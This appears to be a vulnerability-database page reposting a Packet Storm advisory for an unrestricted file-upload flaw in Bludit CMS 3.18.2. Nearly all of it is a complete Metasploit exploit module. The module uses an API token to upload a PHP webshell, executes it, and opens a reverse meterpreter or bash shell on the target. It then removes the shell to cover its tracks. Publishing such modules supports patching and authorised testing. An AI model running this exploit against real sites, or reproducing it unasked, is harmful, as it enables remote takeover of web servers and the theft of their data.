PACKETSTORM 8.8 HIGH

📄 Bludit CMS 3.18.2 Shell Upload_PACKETSTORM:219380

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit module targets a vulnerability in Bludit CMS version 3.18.2 targeting the API file upload mechanism which allows authenticated users with a valid API token to upload arbitrary files without proper validation. This can result in a shell...
Visit Original Source

Basic Information

ID PACKETSTORM:219380
Published Apr 21, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Bludit CMS 3.18.2 Unrestricted File Upload Leading to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip |
==================================================================================================================================

[+] Summary : This Metasploit module targets a vulnerability in Bludit CMS (API file upload mechanism) that allows authenticated users with a valid API token to upload arbitrary files without proper validation.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bludit CMS API Unrestricted File Upload to RCE',
'Description' => %q{
Bludit CMS API plugin allows an authenticated user with a valid API token
to upload files of any type and extension via POST /api/files/<page-key>.

The uploadFile() function performs no file extension or content validation,
allowing upload of PHP webshells that execute as www-data.

The API token is generated when the API plugin is activated and is visible
to users with admin panel access. Tokens may also be exposed through
misconfiguration, log files, or other application vulnerabilities.

This module exploits the unrestricted file upload to upload a PHP payload
and execute arbitrary commands on the target system.

Tested on Bludit 3.18.2 on Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-25099'],
['URL', 'https://github.com/bludit/bludit'],
['URL', 'https://yh.do']
],
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-03-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path for Bludit installation', '/']),
OptString.new('API_TOKEN', [true, 'Bludit API authentication token', '']),
OptString.new('PAGE_KEY', [false, 'Specific page key to use (if not provided, will auto-discover)', '']),
OptInt.new('SHELL_TIMEOUT', [true, 'Timeout for shell commands in seconds', 10])
])

register_advanced_options([
OptString.new('SHELL_FILENAME', [false, 'Custom webshell filename (random if not set)', '']),
OptBool.new('CLEANUP', [true, 'Delete uploaded shell after session', true])
])
end

def setup
@base_uri = normalize_uri(target_uri.to_s)
@api_token = datastore['API_TOKEN']
@page_key = datastore['PAGE_KEY']
@shell_filename = datastore['SHELL_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(8)}.php"
@shell_url = nil
@uploaded = false
end

def check
print_status("Checking Bludit CMS version and API accessibility...")

res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'pages'),
'method' => 'GET',
'vars_get' => { 'token' => @api_token }
})

return Exploit::CheckCode::Unknown('No response from target') unless res

if res.code == 200
begin
json = JSON.parse(res.body)

if json['status'] == '0' && json['data'].is_a?(Array)
print_good("API token appears valid")

res_version = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'bl-kernel', 'version.php'),
'method' => 'GET'
})

if res_version && res_version.code == 200
if res_version.body =~ /BLUDIT_VERSION["']\s*,\s*['"]([^'"]+)['"]/
version = Regexp.last_match(1)

print_status("Detected Bludit version: #{version}")

if Rex::Version.new(version) < Rex::Version.new('3.18.4')
print_good("Version #{version} appears vulnerable (fixed in 3.18.4)")
return Exploit::CheckCode::Appears
else
print_warning("Version #{version} may be patched")
return Exploit::CheckCode::Detected
end
end
end

return Exploit::CheckCode::Vulnerable('API accessible, likely vulnerable')
else
return Exploit::CheckCode::Safe('API token invalid or no access')
end

rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Invalid JSON response')
end
elsif [401, 403].include?(res.code)
return Exploit::CheckCode::Safe('Unauthorized API token')
else
return Exploit::CheckCode::Safe("HTTP #{res.code}")
end
end

def get_page_key
unless @page_key.to_s.empty?
print_status("Using provided page key: #{@page_key}")
return @page_key
end

res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'pages'),
'method' => 'GET',
'vars_get' => { 'token' => @api_token }
})

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to retrieve pages")
end

json = JSON.parse(res.body) rescue nil

if json && json['status'] == '0' && json['data'].is_a?(Array) && !json['data'].empty?
page_key = json['data'][0]['key']
print_good("Found page key: #{page_key}")
return page_key
end

fail_with(Failure::NotFound, 'No valid page key found')
end

def upload_payload(payload_content, payload_filename)
print_status("Uploading payload: #{payload_filename}")

fail_with(Failure::BadConfig, 'Page key missing') unless @page_key

data = Rex::MIME::Message.new
data.add_part(@api_token, nil, nil, 'form-data; name="token"')
data.add_part(payload_content, 'application/x-php', nil,
"form-data; name=\"file\"; filename=\"#{payload_filename}\"")

res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'files', @page_key),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

fail_with(Failure::Unreachable, 'No response') unless res

if res.code == 200
json = JSON.parse(res.body) rescue {}

if json['status'] == '0' || res.body.include?('success')
shell_url = normalize_uri(@base_uri, 'bl-content', 'uploads', 'pages', @page_key, payload_filename)
print_good("Uploaded: #{shell_url}")
return shell_url
end

fail_with(Failure::UnexpectedReply, 'Upload failed')
end

fail_with(Failure::UnexpectedReply, "HTTP #{res.code}")
end

def execute_command_php(shell_url, cmd)
res = send_request_cgi({
'uri' => shell_url,
'method' => 'GET',
'vars_get' => { 'cmd' => cmd },
'timeout' => datastore['SHELL_TIMEOUT']
})

return unless res && res.code == 200

res.body.to_s
end

def execute_command(cmd, opts = {})
return unless @shell_url

command = cmd.is_a?(Array) ? cmd.join(' ') : cmd
print_status("Executing: #{command}")

output = execute_command_php(@shell_url, command)

print_status("Output:\n#{output}") if output
end

def exploit
print_status("Bludit RCE Exploit")

@page_key = get_page_key

@payload_name = @shell_filename
webshell = "<?php #{payload.encoded} ?>"
@shell_url = upload_payload(webshell, @payload_name)
@uploaded = true

register_file_for_cleanup("bl-content/uploads/pages/#{@page_key}/#{@payload_name}")

send_request_cgi({ 'uri' => @shell_url, 'method' => 'GET' })

handler
end

def on_new_session(session)
super

return unless datastore['CLEANUP'] && @uploaded && @shell_url && @payload_name

begin
upload_path = "bl-content/uploads/pages/#{@page_key}/#{@payload_name}"

if session.type == 'meterpreter'
session.fs.file.rm(upload_path)
elsif session.type == 'shell'
session.shell_write("rm -f #{upload_path}\n")
end
rescue
print_warning("Manual cleanup required")
end
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.